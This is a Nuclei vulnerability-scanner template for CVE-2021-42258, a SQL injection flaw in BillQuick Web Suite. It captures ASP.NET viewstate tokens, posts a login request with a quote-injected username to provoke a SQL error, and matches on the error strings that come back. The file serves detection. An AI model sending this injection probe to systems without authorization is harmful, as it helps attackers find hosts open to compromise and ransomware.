nuclei-templates/http/cves/2021/CVE-2021-42258.yaml

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id: CVE-2021-42258
info:
name: BillQuick Web Suite SQL Injection
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author: dwisiswant0
severity: critical
description: BQE BillQuick Web Suite 2018 through 2021 before 22.0.9.1 allows SQL injection for unauthenticated remote code execution. Successful exploitation can include the ability to execute arbitrary code as MSSQLSERVER$ via xp_cmdshell.
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reference:
- https://www.huntress.com/blog/threat-advisory-hackers-are-exploiting-a-vulnerability-in-popular-billing-software-to-deploy-ransomware
- https://nvd.nist.gov/vuln/detail/CVE-2021-42258
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2021-42258
cwe-id: CWE-89
cpe: cpe:2.3:a:bqe:billquick_web_suite:*:*:*:*:*:*:*:*
epss-score: 0.97383
tags: cve,cve2021,sqli,billquick,kev
metadata:
max-request: 2
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http:
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- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
- |
POST / HTTP/1.1
Host: {{Hostname}}
Referer: {{BaseURL}}
Origin: {{RootURL}}
Content-Type: application/x-www-form-urlencoded
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__EVENTTARGET=cmdOK&__EVENTARGUMENT=&__VIEWSTATE={{url_encode("{{VS}}")}}&__VIEWSTATEGENERATOR={{url_encode("{{VSG}}")}}&__EVENTVALIDATION={{url_encode("{{EV}}")}}&txtID=uname%27&txtPW=passwd&hdnClientDPI=96
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cookie-reuse: true
extractors:
- type: xpath
name: VS
internal: true
attribute: value
xpath:
- "/html/body/form/div/input[@id='__VIEWSTATE']"
- type: xpath
name: VSG
internal: true
attribute: value
xpath:
- "/html/body/form/div/input[@id='__VIEWSTATEGENERATOR']"
- type: xpath
name: EV
internal: true
attribute: value
xpath:
- "/html/body/form/div/input[@id='__EVENTVALIDATION']"
matchers:
- type: word
part: body
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condition: and
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words:
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- "System.Data.SqlClient.SqlException"
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- "Incorrect syntax near"
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- "_ACCOUNTLOCKED"
# Enhanced by mp on 2022/02/27